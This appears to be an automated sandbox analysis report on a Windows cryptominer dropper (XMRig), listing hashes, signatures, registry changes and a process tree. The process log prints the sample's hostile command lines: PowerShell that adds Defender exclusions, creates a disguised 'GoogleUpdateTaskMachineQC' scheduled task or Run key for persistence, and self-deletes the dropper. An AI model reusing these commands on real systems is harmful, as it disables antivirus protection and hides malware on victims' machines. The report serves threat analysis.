Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
24-10-2024 20:12
241024-yyvg5asemn 1024-10-2024 20:11
241024-yygk9ssemk 1024-10-2024 20:11
241024-yygahasemj 1024-10-2024 20:11
241024-yyd55sselq 1024-10-2024 20:08
241024-yw247asdqp 1024-10-2024 20:08
241024-yw1lcssdqn 1024-10-2024 20:08
241024-ywx58ssdql 1022-08-2024 20:59
240822-zs4paaxemb 1022-08-2024 20:59
240822-zs2jxszern 1022-08-2024 20:59
240822-zsy4ssxelg 10Analysis
-
max time kernel
1799s -
max time network
1791s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
27-01-2024 11:19
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20231215-en
General
-
Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 2764 created 3436 2764 qM5GMXBk6hJE6Y5e (20).exe 16 PID 2764 created 3436 2764 qM5GMXBk6hJE6Y5e (20).exe 16 PID 2764 created 3436 2764 qM5GMXBk6hJE6Y5e (20).exe 16 PID 2764 created 3436 2764 qM5GMXBk6hJE6Y5e (20).exe 16 PID 3948 created 3436 3948 updater.exe 16 PID 3948 created 3436 3948 updater.exe 16 PID 3948 created 3436 3948 updater.exe 16 PID 184 created 3436 184 conhost.exe 16 PID 3948 created 3436 3948 updater.exe 16 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral12/memory/1396-127-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-131-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-132-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-134-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-138-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-140-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-142-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-144-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-146-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-148-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-150-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-152-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-154-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-156-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-158-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-160-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-162-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-164-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-166-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-168-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-170-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-172-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-174-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-176-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-178-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-180-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-182-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-184-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-186-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig behavioral12/memory/1396-188-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 3948 updater.exe -
resource yara_rule behavioral12/memory/1396-120-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-127-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-131-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-132-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-134-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-138-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-140-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-142-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-144-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-146-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-148-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-150-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-152-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-154-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-156-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-158-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-160-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-162-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-164-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-166-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-168-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-170-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-172-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-174-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-176-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-178-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-180-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-182-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-184-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-186-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx behavioral12/memory/1396-188-0x00007FF7E6F90000-0x00007FF7E7784000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3948 set thread context of 184 3948 updater.exe 117 PID 3948 set thread context of 1396 3948 updater.exe 112 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (20).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1828 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 32 IoCs
pid Process 2764 qM5GMXBk6hJE6Y5e (20).exe 2764 qM5GMXBk6hJE6Y5e (20).exe 4640 powershell.exe 4640 powershell.exe 2764 qM5GMXBk6hJE6Y5e (20).exe 2764 qM5GMXBk6hJE6Y5e (20).exe 5080 powershell.exe 5080 powershell.exe 5080 powershell.exe 2764 qM5GMXBk6hJE6Y5e (20).exe 2764 qM5GMXBk6hJE6Y5e (20).exe 2764 qM5GMXBk6hJE6Y5e (20).exe 2764 qM5GMXBk6hJE6Y5e (20).exe 1940 powershell.exe 1940 powershell.exe 1940 powershell.exe 3948 updater.exe 3948 updater.exe 512 powershell.exe 512 powershell.exe 3948 updater.exe 3948 updater.exe 4568 powershell.exe 4568 powershell.exe 3948 updater.exe 3948 updater.exe 3948 updater.exe 3948 updater.exe 184 conhost.exe 184 conhost.exe 3948 updater.exe 3948 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4640 powershell.exe Token: SeDebugPrivilege 5080 powershell.exe Token: SeIncreaseQuotaPrivilege 5080 powershell.exe Token: SeSecurityPrivilege 5080 powershell.exe Token: SeTakeOwnershipPrivilege 5080 powershell.exe Token: SeLoadDriverPrivilege 5080 powershell.exe Token: SeSystemProfilePrivilege 5080 powershell.exe Token: SeSystemtimePrivilege 5080 powershell.exe Token: SeProfSingleProcessPrivilege 5080 powershell.exe Token: SeIncBasePriorityPrivilege 5080 powershell.exe Token: SeCreatePagefilePrivilege 5080 powershell.exe Token: SeBackupPrivilege 5080 powershell.exe Token: SeRestorePrivilege 5080 powershell.exe Token: SeShutdownPrivilege 5080 powershell.exe Token: SeDebugPrivilege 5080 powershell.exe Token: SeSystemEnvironmentPrivilege 5080 powershell.exe Token: SeRemoteShutdownPrivilege 5080 powershell.exe Token: SeUndockPrivilege 5080 powershell.exe Token: SeManageVolumePrivilege 5080 powershell.exe Token: 33 5080 powershell.exe Token: 34 5080 powershell.exe Token: 35 5080 powershell.exe Token: 36 5080 powershell.exe Token: SeIncreaseQuotaPrivilege 5080 powershell.exe Token: SeSecurityPrivilege 5080 powershell.exe Token: SeTakeOwnershipPrivilege 5080 powershell.exe Token: SeLoadDriverPrivilege 5080 powershell.exe Token: SeSystemProfilePrivilege 5080 powershell.exe Token: SeSystemtimePrivilege 5080 powershell.exe Token: SeProfSingleProcessPrivilege 5080 powershell.exe Token: SeIncBasePriorityPrivilege 5080 powershell.exe Token: SeCreatePagefilePrivilege 5080 powershell.exe Token: SeBackupPrivilege 5080 powershell.exe Token: SeRestorePrivilege 5080 powershell.exe Token: SeShutdownPrivilege 5080 powershell.exe Token: SeDebugPrivilege 5080 powershell.exe Token: SeSystemEnvironmentPrivilege 5080 powershell.exe Token: SeRemoteShutdownPrivilege 5080 powershell.exe Token: SeUndockPrivilege 5080 powershell.exe Token: SeManageVolumePrivilege 5080 powershell.exe Token: 33 5080 powershell.exe Token: 34 5080 powershell.exe Token: 35 5080 powershell.exe Token: 36 5080 powershell.exe Token: SeIncreaseQuotaPrivilege 5080 powershell.exe Token: SeSecurityPrivilege 5080 powershell.exe Token: SeTakeOwnershipPrivilege 5080 powershell.exe Token: SeLoadDriverPrivilege 5080 powershell.exe Token: SeSystemProfilePrivilege 5080 powershell.exe Token: SeSystemtimePrivilege 5080 powershell.exe Token: SeProfSingleProcessPrivilege 5080 powershell.exe Token: SeIncBasePriorityPrivilege 5080 powershell.exe Token: SeCreatePagefilePrivilege 5080 powershell.exe Token: SeBackupPrivilege 5080 powershell.exe Token: SeRestorePrivilege 5080 powershell.exe Token: SeShutdownPrivilege 5080 powershell.exe Token: SeDebugPrivilege 5080 powershell.exe Token: SeSystemEnvironmentPrivilege 5080 powershell.exe Token: SeRemoteShutdownPrivilege 5080 powershell.exe Token: SeUndockPrivilege 5080 powershell.exe Token: SeManageVolumePrivilege 5080 powershell.exe Token: 33 5080 powershell.exe Token: 34 5080 powershell.exe Token: 35 5080 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4376 wrote to memory of 2336 4376 cmd.exe 101 PID 4376 wrote to memory of 2336 4376 cmd.exe 101 PID 1940 wrote to memory of 3964 1940 powershell.exe 105 PID 1940 wrote to memory of 3964 1940 powershell.exe 105 PID 3948 wrote to memory of 184 3948 updater.exe 117 PID 3108 wrote to memory of 1828 3108 cmd.exe 113 PID 3108 wrote to memory of 1828 3108 cmd.exe 113 PID 3948 wrote to memory of 1396 3948 updater.exe 112 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3436
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (20).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (20).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2764
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4640
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5080
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (20).exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4376
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3964
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:512
